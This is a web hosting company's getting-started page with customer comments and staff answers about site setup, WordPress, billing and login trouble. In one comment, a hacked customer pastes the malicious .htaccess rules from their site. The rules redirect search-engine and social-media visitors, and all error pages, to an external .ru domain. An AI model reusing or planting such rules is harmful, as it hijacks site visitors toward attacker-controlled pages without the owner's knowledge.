Welcome, we'd like to thank you for choosing Web Hosting Hub for your hosting needs! Now that you're here, we'd like to also take a moment and make sure you start off in the right direction.

Website:

New users will most often be either migrating an existing website to our servers or creating a new website from scratch. No matter which category you fall into, at this time you should review our Website Getting Started Guide.

Email:

Your hosting account includes an unlimited number of email addresses. No matter how many associates in your company you need to create email accounts for, you're covered. Whether you're setting these email accounts up for the first time or you need to migrate them as they currently exist at your previous host, please see our Email Getting Started Guide.

cPanel & AMP (a quick guide to our System):

cPanel (control panel) has always been included with all accounts. cPanel is the system you log into when you need to manage your hosting account, such as when you need to create email addresses or work with databases. What cPanel lacks however is the ability to do anything billing related, such as register for new domain names or puchase an SSL certificate. We're very proud to announce our new Account Management Panel (AMP). AMP steps in and allows you to do what cPanel doesn't. cPanel helps you control your hosting account, while AMP handles the billing side of things.

More information on the two systems can be found at cPanel vs. AMP.

Password Help:

Everyone forgets usernames / passwords for one reason or another, even we do it! It may be a good idea to bookmark the following links for future reference:

If You Need Help:

We understand that everyone needs help when it comes to web hosting. In fact, that's a key principal of our founding. Our goal is to provide the best Technical Support in the industry. We know the value of having a website, and we also understand that not everyone has a degree or experience in Web Development. If you need help, we're here for you. We have thorough online help which includes Website Tutorials, Email Tutorials, and also Domain Name Guides. We also have extensive step by step guides in our Education Channels and we have a Customer Community where you can ask any questions you may have. As always, we're available 24/7 via phone, live chat, and email.
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Comments

2012-02-27 9:08 am
Hello Support Team,

How can u help me with my new web hostings and domain step by step? .. Can you show me how can get old domain/website from godaddy www.vp-listings.com transfer to new website @ webhostinghun www.vp-listings.com?
Thanks
Harold
n/a Points
2014-09-11 6:25 am

l have had 9.19 taken out of my account ,this was cancelled last year. it under ****** *******. not happy it as been taken from my account when it was cancelled l mcgrath

Staff
9,228 Points
2014-09-11 9:51 am
Hello lorraine,

Thank you for contacting us today. This is just our public forum. If you have any questions regarding your specific account/Billing, please contact Live Support.

They are available 24/7 365 days a year.

Thank you,
John-Paul
Staff
13,688 Points
2012-02-27 12:01 pm
Hello vp-listings,

Thank you for your questions regarding transferring your domain and website to Web Hosting Hub. Step-by-step instructions for transferring your site files to us can be found in our Getting Started Guide - Transferring Your Website

If you have any questions or need any additional assistance, please feel free to submit a question in our Support Center

Regards,

Christi N.
2012-07-27 4:19 pm
Hi
I need help my site hasbeen hacked via htaccess file when i delete the code it just comes back i even repalaced the htaccess file but still the same i have the code thats in the htaccess file there is a file called cgi-bin there is a php file that has a code that does not look normal is are the codes htaccess code

RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)

RewriteRule ^(.*)$ http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com [R=301,L]

RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)

RewriteRule ^(.*)$ http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com [R=301,L]
ErrorDocument 400 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 401 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 403 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 404 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 500 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com the php code

a:2:{s:6:"output";s:0:"";s:6:"result";a:5:{s:6:"visits";i:404;s:6:"guests";i:102;s:7:"members";i:0;s:4:"bots";i:302;s:8:"lasttime";i:1343001600;}}

please advice what to do i am a new be in webdesign usig joomla 1.5.26 version

thanks
haroon ismail
Staff
13,432 Points
2012-07-27 6:27 pm
Hello Vp-listings,

My apologies, I initially put in the wrong reply for you issue. I have been looking at your site files, but based on what you have said, I'm not sure which site you're referring to since you have several different installations there. I see a wordpress installation and another website installation. Can you specify which installation is having the problem? I don't see an issue when I go to your temp url . Definitely clear all of your .htaccess files for now. Currently, when I go to your website, I'm not seeing any evidence of a hack. The CGI-BIN is a default folder - so it sould be there.

Please reply to this with further information on your website and we can take a closer look at what's happening.

If you have any further questions, please contact technical support or leave a comment at the bottom of the page.

Regards,

Arnel C.
2012-10-09 3:40 pm
Dear support team,

I am a new customer and try to login into my cPanel. It is not very intuitive, but I understood I need to reset my apparently randomly assigned password. I did and despite this, I still get the Login Attempt Failed! I thought it might have been a typo, so I have reset the password again, and no matter how I try, I still cennot login.

Why is this?

Thanks for your assistance.
Staff
12,985 Points
2012-10-09 3:47 pm
Hello ebudisk,

I am able to get into your cpanel (although with our admin password) so the cpanel itself is functional.

It may be that the cpanel password reset did not work as it should. We can set reset the password for you. To do so, you would need to contact our support department at support@webhostinghub.com with that request. Be sure to validate your account with either the last 4 digits of the credit card on file, or the current Account Management Panel (AMP) password.re if you like. Be sure to specify whether you want a particular password or a randomly generated one.

Best Regards,
Scott M
2013-01-28 1:39 am
Not at all easy to move around on this site, nothing made easy to start. The tutorial videos dont play sound for me, and its not my system, even the info button makes sounds but videos dont. So far Ive seen nothing but features and no simple easy access to my site
Staff
3,661 Points
2013-01-28 1:41 pm
Hello Lyndon, sorry to hear that you're having some problems getting started with our hosting.

The Flash video tutorials on our website don't have sound so it's not just your computer, most of the videos just walk through step by step where you need to click in the cPanel interface to accomplish certain tasks.

Was there a particular thing you were trying to do that you've been unable to find help for? You can utilize the Search box filled in with How may we help? to locate documentation for most web hosting related topics. You can also use the menu navigation at the top of our support center. For instance you can hover over Website above, then click on WordPress to review our collection of WordPress documentation.

I see looking at your account files that you've already managed to install WordPress and have it up and running on your website. If you needed to login to access your WordPress dashboard where you make your posts and pages this can be done by placing /wp-admin at the end of the URL following your domain name. Then you would need to enter in your WordPress admin user's credentials to gain access.

You can also view our full WordPress education channel for more helpful documentation on WordPress.

If you had any specific questions about something that you're attempting to do please also feel free to ask a question to our community support forum for further assistance.

- Jacob
2013-09-04 5:57 am
Hello,

My site has several problems.

Send spam.
inode-count.

First, your wordpress installed located on http://www.mno3.com was sending out spam via /home/mno3/public_html/wp-content/uploads. For that we have suspended both web and out going mail to stop the abuse. To fix this issue you should re-upload the affected wordpress files.
Staff
13,432 Points
2013-09-04 12:21 pm
Hello Mno3.com,

Sorry to hear about the website problems. I'm not sure if you are referring to a site being hosted with us because mno3.com is not hosted with Web Hosting Hub. We would need more information on the account if you are referring to a website hosted with us.

The inode count issue would need to be fixed by the host- you can not edit this number unless you have root access to the server. In terms of the spam issue, it's very possible that your WordPress site might be compromised. This could happen if you have out of date versions of WordPress or plugins running on our your site. For more information on upgrading Wordpress or its plugins go to:

Updating WordPress
Updating WordPress Plugins

Hopefully, this will help to clear up your issues.

Regards,
Arnel C.
2013-11-04 9:21 pm
How do I cancel my account?
2013-11-04 9:24 pm
I can't find how to cancel future shipments, & my account.
Staff
3,661 Points
2013-11-05 7:16 am
Hello camerabuster,

Sorry to hear you need to cancel your account. You can review our guide on how do I cancel my hosting account for full details.

If there was anything else at all we could help you with, please let us know.

- Jacob
2014-02-16 5:13 pm
I am having a very hard time connecting via Cute FTP. No matter what I am putting in for the host address, username and Password, nothing is connecting. Help
Staff
2,026 Points
2014-02-17 10:04 am
Hello melon804,

Could you clarify what specific errors you are getting? You may also want to contact technical support as well as they will be able to give you specific information for your account that we cannot do via a public forum.
2014-02-17 10:50 am
I think I may have figured it out. I have other questions, but will ask tech support. Thanks for being here for us newbies.
n/a Points
2014-03-08 12:54 pm

Hello ! 

to day i've got problem with my wordpress !  i'm trying to login in to my dashboard but not happned. i've changed my username and password but also not work and i can't login again.  would mine to help what should i do?

Staff
2,026 Points
2014-03-10 10:42 am
Hello Zaher,

Could you clarify what kind of errors you are getting?
n/a Points
2014-03-11 4:46 pm

I was just curious if you allow the use of dropshipping through your site? Also would you guys allow the integration of an EDI system?  If yes to these what are you requirements for dropshipping and which EDI systems do you guys support?  I am currently working on a capstone project for my undergrad degree and we are working to find a web hosting solution for our client that needs these functionalities that she currently is not getting from the web hosting service she currently uses.

Staff
9,228 Points
2014-03-12 9:41 am
Hello Kansas,

Thank you for your question. Yes, you can do dropshipping through your website hosted with us. We have many options for designing a shopping cart system, such as PrestaShop, OpenCart, ZenCart, and OsCommerce. You can even use Wordpress with an e-commerce plugin, or Joomla with the VirtueMart addon.

These are all included for free within Softaculous, along with many other software options.

I am not completely familiar with the term EDI, but I believe you are asking about the payment gateway. For this case, you can use paypal, or authorize.net, for example; but it will depend which software you use to design your site. Most e-commerce software options are compatible with the major payment gateways.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
2014-04-22 8:53 pm
Quick question: How do I take the under construction page down, now that my website is up?
Staff
13,432 Points
2014-04-22 9:32 pm
Hello Staciasymone,

Typically, you need to remove the index file that you setup for the construction page. The first page that is typically accessed by the web server is the index page. Check out this article on setting up Under Construction pages. This identifies the index files for you. You can then use the cPanel file manager in order to rename or delete the file. Your normal site will normally have it's own index file - you will need to make sure that file remains on your site.

If you require further assistance, please provide us more information on your website and we would be happy to look further into the issue for you.

Regards,
Arnel C.
n/a Points
2014-04-23 6:32 pm

Hi, I installed Wordpress to my site and have begun customising via the dashboard, but when I visit my site to review my changes it says "website still under construction" . Please advise 

Staff
13,432 Points
2014-04-23 7:02 pm
Hello Julia,

If you're still seeing "website under construction" there are several possibilities:


  • The domain was recently registered and still undergoing propagation.

  • You did not select the domain name during the installation of WordPress

  • You're using a different URL than the one that you set during the installation of WordPress



Double-check your WordPress installation URL. If you specified a folder during the installation, then it will affect the URL that you are using to access the site. We do have articles on how to change the WordPress URL or Move a WordPress installation to a different folder.

I hope that helps to clarify the issue. If you have any further questions, please provide us some further information on your website such as the URL or account name.

Regards,
Arnel C.
n/a Points
2014-04-26 2:29 pm

I am trying to set up a blog.  I have a domain, and it's been purchased and registered.  When I try to download Wordpress, it's wanting me to purchase another domain.  How do I create my blog?  

Staff
9,228 Points
2014-04-28 11:28 am
Hello Jeff,

I am not sure how you are downloading Wordpress, but I recommend installing Wordpress using Softaculous, and simply selecting your domain in Step 4.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
n/a Points
2014-05-07 1:25 am
  1. Hi there! Does your plan bill us per month or per year? 
Staff
9,228 Points
2014-05-07 8:50 am
Hello Daniel,

Thank you for your question. We offer 1, 2 , and 3 year payment plans. At this time we do not offer any monthly options.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
n/a Points
2014-05-27 10:11 pm

Hi!

I have a website up and running.. awesome!  But now i would like to add a completely different website.  I registered the domain with you, and i also added an addon domain.  One bird with two stones?

Anyway..

How do i make the website for the new domain?  I used wordpress for the first website.

Any help would be great!  Thanks!!

Staff
2,026 Points
2014-05-28 8:02 am
Now that you have added the new addon domain, it will now show up in Softaculous for your to install WordPress on. Simply go into Softaculous and during the installation steps for WordPress, you will see a dropdown that will list any domains that you have configured.
n/a Points
2014-05-29 5:13 pm

I set up an account with yourselves and it was going throughthe verification process. I now wish to cancel this and do not want any money to be debited from my account. Can someone do this asap as i want it resolved quickly.

thanks

Staff
13,432 Points
2014-05-29 5:31 pm
Hello Nadia,

If you wish for this issue to be handled immediately, you need to contact the Billing department. Per the notes on the account, however, your account is unconfirmed, so the issue was forwarded to the sales team who would void the transaction. This is confirmed in your account. These type of transactions do need to be handled through the Sales or Billing teams as they are typically private issues - posts on this website are public. If you require immediate aid, contact our support/billing/sales via phone or chat (as per the contact information at the bottom of the page).

Kindest regards,
Arnel C.
n/a Points
2014-06-12 7:51 am

Hi,

 

How safe is using your SSL for ecommerce since the Heartbleed bug and now the new ChangeSipherSpec bug ?

 

Thsnks

Staff
2,026 Points
2014-06-12 8:25 am
Our servers are fully patched from any known SSL vulnerabilities.
n/a Points
2014-06-18 1:22 am

Hey i have purchased a domain from you ' paagals.com' on 18/06/2014 and now i want to immideatly cancel it and get my money back as there is 90 days money back policy. so please let me know the procedure.

 

Staff
2,026 Points
2014-06-18 8:39 am
To cancel services and receive more information about potential refunds available, you will need to contact technical support for more information as we cannot make changes to your account via this public forum.
n/a Points
2014-06-26 6:23 pm

I purchased a web domain from you and when I try to get it to open it brings up another unitedfarmeq.com that is in California. What do I do?

Staff
3,661 Points
2014-06-26 6:44 pm
Hello Dennis,

Unfortunately I'm not sure what kind of problem you'd be having. It looks like when I go to that website it is a WordPress website hosted on our server.

If you're still having issues I'd recommend clicking on Support Chat at the top-right of our website so you can work with someone live to see what the problem might be on your computer.

- Jacob
n/a Points
2014-07-11 8:10 pm
Is there a way to streamline how to start with say an itemized step by step set-up?!?!?
Staff
9,228 Points
2014-07-14 11:45 am
Hello Teresa,

Thank you for your question. This guide just contains links to several getting started guides, so it depends what you are trying to accomplish. These will usually get you going:These tutorials are very popular, and should help explain the process. If you need more detailed assistance, it may be easier to contact Live Tech Support, since they are available 24/7.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
n/a Points
2014-08-22 7:46 pm

How do I find the Wordpress Dashboard?

Staff
13,432 Points
2014-08-22 9:36 pm
Hello Kat,

If you need instruction on how to get to the WordPress dashboard, please see How to Login to the WordPress Administrator dashboard.

Regards,
Arnel C.
n/a Points
2014-09-15 7:39 pm

Hi support team,

i need help! I'm new and have NO clue how to set up pintrest and Facebook to my page... Please help me figure this out. Thanks!

Staff
13,432 Points
2014-09-15 8:15 pm
Hello Dudeknowsfood,

Thanks for the question. In reviewing your website, it appears you're using WordPress. One of the nice things about WordPress is that when you want to add something (like FB or Pinterest), it's usually as simple as finding a plugin. There are MANY different plugins for both Facebook and Pinterest, so you're going to have to make a decision. Read through the descriptions and select the one that best meets your needs. You can load plugins by simply logging into your WordPress Admin and then going to the Plugins section to add a new one. Here are the search results that I found by looking at the wordpress.org site:

Pinterest Plugins
FaceBook Plugins

I hope that helps to clear it up. Just follow the directions for the plugin you select and you'll be able to proceed. Let us know if you still have any further questions.

regards,
Arnel C.
n/a Points
2014-09-23 12:10 pm
This is a short introductory article not sure how you could improve this possibly putting links in lists instead of in the paragraphs
n/a Points
2014-09-24 12:40 am

Is there any way to use selected icons only in whhg.css? If I'm using whole icons means it's take more time to load that font. But I'm using only 50 - 60 icons. 

Staff
2,026 Points
2014-09-24 11:26 am
Unfortunately, your question is very vague. Could you please clarify what exactly you are referring to?
n/a Points
2014-09-24 10:05 pm
I live in Athens, Greece. I am looking for a hosting service to run two-three fairly simple interconnected websites. I have one Greek (.gr) domain name already registered (which needs a host) and plan to buy/register two .com domains, possibly via Hub.
 
I see you offer 24/7 support in US. My quetion is: Does your hosting service cover Greece?
Staff
12,985 Points
2014-09-25 7:30 am
Hello Liz,

Yes, we have customers all over the world. We always welcome new customers from Greece!

Kindest Regards,
Scott M
n/a Points
2014-09-27 3:29 am

Do you have people that will just make the website for me?  I seem to be having a really difficutlt time getting this going and i'm running out of time.

Staff
12,985 Points
2014-09-28 8:44 am
Hello Jose,

Yes, we do have website design services. You can contact them to see if they can meet your design needs.

Kindest Regards,
Scott M
n/a Points
2014-09-27 4:24 pm

IM LOST! I want to build a page to sell 1 thing and advertise our business....What is the best things to use and how do I get to it to start making the page. This has been way to hard! 

 

Staff
12,985 Points
2014-09-28 8:48 am
Hello Kisha,

Web design may be simple, but it is definitely not easy, especially when you want to sell thngs (even 1 thing) online. It may seem like overkill, but you will likely do best by setting up an e-commerce site by using a tool like PrestaShop.

A much simpler site can be set up if you know how to code, but if you do not, then the e-commerce is the fastest and cheapest way to go.

Kindest Regards,
Scott M
n/a Points
2014-09-30 8:40 am
It would help a great deal if an idea of the Total cost is shared, even if it is an approximate. This way one could establish if it is an affordable way to go.
Staff
9,228 Points
2014-10-13 9:31 am
Hello Ralton,

Thank you for contacting us. Everything described on this page is included in your Web Hosting package.

The prices depend on which plan you sign up for. You can see our Hosting Plans, and prices here.

If you have any further questions, feel free to post them below.

Thank you,
John-Paul
2014-10-13 3:31 am
I'm a Technical Personnel and would like to work in the Technical department of Webhosting Hub attending to customer complaints.
Staff
9,228 Points
2014-10-13 9:40 am
Hello TosynHosh,

Thank you for your question. Webhosting Hub's sister company InMotion Hosting handles hiring. You can view open positions at www.inmotionhosting.com/careers

If you have any further questions, feel free to post them below.

Thank you,
John-Paul

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